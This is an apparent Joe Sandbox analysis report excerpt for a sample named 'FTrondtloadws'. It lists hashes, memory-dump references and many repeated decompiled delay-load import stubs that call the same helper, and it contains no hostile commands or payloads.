Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 974ede1af72253c74aed5364d517abc98d55c2137d8a40d321764aafdaa4299e
Instruction ID: 0301af6da55eb223233ddd58fe889d7442f20c5b1005e3706919bdf0e27cf32c
Opcode Fuzzy Hash: 974ede1af72253c74aed5364d517abc98d55c2137d8a40d321764aafdaa4299e
Instruction Fuzzy Hash: F3C0807440410D974E300A34D85D6A97713FA5237D7B4C3DCC134C50A1C3238D47E513

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF1C6 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF1C6() {

				E00CDF837(0xcfd85c, 0xd25160); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9010b148e01252da9f9c1be3096480522a445fc0a2d2ccc7fde3a9e10d54e7db
Instruction ID: fb168c6cec1d362b28a66177d247be2cfb2fd2a72fb1007c7766ccf0764338f4
Opcode Fuzzy Hash: 9010b148e01252da9f9c1be3096480522a445fc0a2d2ccc7fde3a9e10d54e7db
Instruction Fuzzy Hash: 39B09296268205AC31445205BC02E3E1258E191B24320403FB212C0294D5804C026232

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF1DA Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF1DA() {

				E00CDF837(0xcfd85c, 0xd25158); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 39b62be2cf4ecd1876f7d5b4387f5f66727fb6a7ac310addbc91674993d2fb0d
Instruction ID: c3a0d92c3b4f50873ef25cfe04c37f0893b0618ea66ee56dea7bf4c961e2c2bc
Opcode Fuzzy Hash: 39b62be2cf4ecd1876f7d5b4387f5f66727fb6a7ac310addbc91674993d2fb0d
Instruction Fuzzy Hash: E8B09292268241AC21845205BC02E3E1258D191B24330813FB217C0394D59048466032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF1D0 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF1D0() {

				E00CDF837(0xcfd85c, 0xd2515c); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 07f1cec0d543a29e7a1184cf8f2030e65b1b0baa71340909df4a4b82ccb9ac61
Instruction ID: cc7a60bf2047d847e16a5a0fa8f1ec36c541619c1dbb4edd2ce08452f05c17ba
Opcode Fuzzy Hash: 07f1cec0d543a29e7a1184cf8f2030e65b1b0baa71340909df4a4b82ccb9ac61
Instruction Fuzzy Hash: F4B092A2268101AC21445205BC02E3E1258D192B28320803FB617C0394D59048066032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF1E4 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF1E4() {

				E00CDF837(0xcfd85c, 0xd25154); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a7fad6c9181d46085c6d036e55adde87980d215970a180ba83e012f823b2b828
Instruction ID: 0e19aeaa486c545c13ae0ae985c2d1e424f0a28fcea66783dfe074016456bb9f
Opcode Fuzzy Hash: a7fad6c9181d46085c6d036e55adde87980d215970a180ba83e012f823b2b828
Instruction Fuzzy Hash: 29B09292268101AC21445205BD02E3E1258D191B24320803FB217C4394D5A0480B6032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF1F8 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF1F8() {

				E00CDF837(0xcfd85c, 0xd2514c); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a310ba2468cb32971e13876c5afbf76b609c18c45e5adf2294cf287fe69bdf1a
Instruction ID: 371a914ba93a076d68635b84de7f64b03da2197e9a0a48c07de9d4f4da9b5da7
Opcode Fuzzy Hash: a310ba2468cb32971e13876c5afbf76b609c18c45e5adf2294cf287fe69bdf1a
Instruction Fuzzy Hash: C6B092A2268101AC21445205BC02E3E1258D192B28320803FB612C0298D58048026032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF1AB Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF1AB() {

				E00CDF837(0xcfd85c, 0xd2516c); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6a57105fbd6ba70990b5ba07ab8460ec692d476c83fb8ad7778c53c9bdd882ba
Instruction ID: 19b45e90e10c1af83fe09fb702fe6f57e89e4cf03d1ddcd7b2f26f0bb9885ffd
Opcode Fuzzy Hash: 6a57105fbd6ba70990b5ba07ab8460ec692d476c83fb8ad7778c53c9bdd882ba
Instruction Fuzzy Hash: 9BB092A6268201AC21041211BC06D3E1218D192B28320803FBA12C0294A5804C026032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF28E Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF28E() {

				E00CDF837(0xcfd85c, 0xd25110); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 5460c29662d9ba395f2131b8ec0870177791f37690db029a68321b0ec6e4fa13
Instruction ID: 001629ba9a9fdb6efee539842cbc33ea078606d3a0abd0b47fafb0e17ed832fc
Opcode Fuzzy Hash: 5460c29662d9ba395f2131b8ec0870177791f37690db029a68321b0ec6e4fa13
Instruction Fuzzy Hash: EFB09292668101AD31445205FC02E3E1258E1D1B24320843FB212C02D4D58048026032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF248 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF248() {

				E00CDF837(0xcfd85c, 0xd2512c); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: aa06d833403970e67c90088c375fa23d7099065ab092bc2096b934b5e1e159ff
Instruction ID: c0e3079313f84c52d5beecdcfc020697e43bcb6787810c677bb578d33e2c5ce8
Opcode Fuzzy Hash: aa06d833403970e67c90088c375fa23d7099065ab092bc2096b934b5e1e159ff
Instruction Fuzzy Hash: F6B092A2268111AC21445215BC02E3E1298D192B28320803FB612C0294D68048026032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF25C Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF25C() {

				E00CDF837(0xcfd85c, 0xd25124); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a5cb036a3470aa068a1a4b8311a89eac47da20f5fa22eb58c250f6721795e49e
Instruction ID: d3cd28228a04e5421aa875738877740af186bc4b4ffe62b1afe23b1e21fafa0c
Opcode Fuzzy Hash: a5cb036a3470aa068a1a4b8311a89eac47da20f5fa22eb58c250f6721795e49e
Instruction Fuzzy Hash: 91B092A2268111AC21445205BD02E3E1298D191B24720403FB212C4294D58048036032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF20C Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF20C() {

				E00CDF837(0xcfd85c, 0xd25144); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 48ee76faa389ef6343b198230b21d6ddd64b230a0dac17a1cf392c8eb0653b43
Instruction ID: e6ad21094f0502762843dc341b34db766dfb8b287b7fe0cf7c22944714a58cd0
Opcode Fuzzy Hash: 48ee76faa389ef6343b198230b21d6ddd64b230a0dac17a1cf392c8eb0653b43
Instruction Fuzzy Hash: 82B092A2268101AC21445205BD02E3E1258D191B24320403FB212C4298D58049036032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF202 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF202() {

				E00CDF837(0xcfd85c, 0xd25148); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: eff4d6ced75b33101ab17e7aeeaf54eac121e41fed387dd605cf6182f4a608ba
Instruction ID: 9ab2f177a5b05d5162db9c8bb2dfbc396627482e6bc90e38f5b841f42e017d2b
Opcode Fuzzy Hash: eff4d6ced75b33101ab17e7aeeaf54eac121e41fed387dd605cf6182f4a608ba
Instruction Fuzzy Hash: ADB092A2268241AC21845205BC02E3E1258D191B24320413FB212C0298D58048426032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF216 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF216() {

				E00CDF837(0xcfd85c, 0xd25140); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 8f05ee99ecf5155315bacf0f8f131d23bc46f961dda8f8dc7a08b4d9738767a5
Instruction ID: f52e70ddddc35eeddf2f5cdd30503e37c6bba8214e5a9884ddf8f81d83aa5813
Opcode Fuzzy Hash: 8f05ee99ecf5155315bacf0f8f131d23bc46f961dda8f8dc7a08b4d9738767a5
Instruction Fuzzy Hash: A2B012A326C101EC31445206FC02E3E125CE1D1B24330403FF213C43D8D5804C037033

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF22A Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF22A() {

				E00CDF837(0xcfd85c, 0xd25138); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f804044a0b3bafd83bed7d3f5279b7adb0ce6a0612c1c85038b62c815c19cdd0
Instruction ID: 695e2cdae1bd305cea9072616a6622e1b71aec3508ef0d791d96a6d9f6fdaebf
Opcode Fuzzy Hash: f804044a0b3bafd83bed7d3f5279b7adb0ce6a0612c1c85038b62c815c19cdd0
Instruction Fuzzy Hash: C7B092A226A601BC21845205BC02E3E1259D191B24720413FB212C0294D58048426032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF220 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF220() {

				E00CDF837(0xcfd85c, 0xd2513c); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4c1a17afd4a6414dc30aabec8e17a4ef89230ef527cb5ba8eb485e7234167eda
Instruction ID: 28d4c9f2fd9c481f553b8c248e49cfa4a16a0c2d4fa1e3dab30f7346a37380a1
Opcode Fuzzy Hash: 4c1a17afd4a6414dc30aabec8e17a4ef89230ef527cb5ba8eb485e7234167eda
Instruction Fuzzy Hash: 4DB092A2269501AC21445205BC02E3E1259D592B28720803FB612C0294D58048426032

Uniqueness

Uniqueness Score: -1.00%

Function 00CDF23E Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00CDF23E() {

				E00CDF837(0xcfd85c, 0xd25130); // executed
				goto __eax;
			}

0x00cdf1bd
0x00cdf1c4

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CDF1BD

Part of subcall function 00CDF837: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CDF8AA
Part of subcall function 00CDF837: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CDF8BB

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
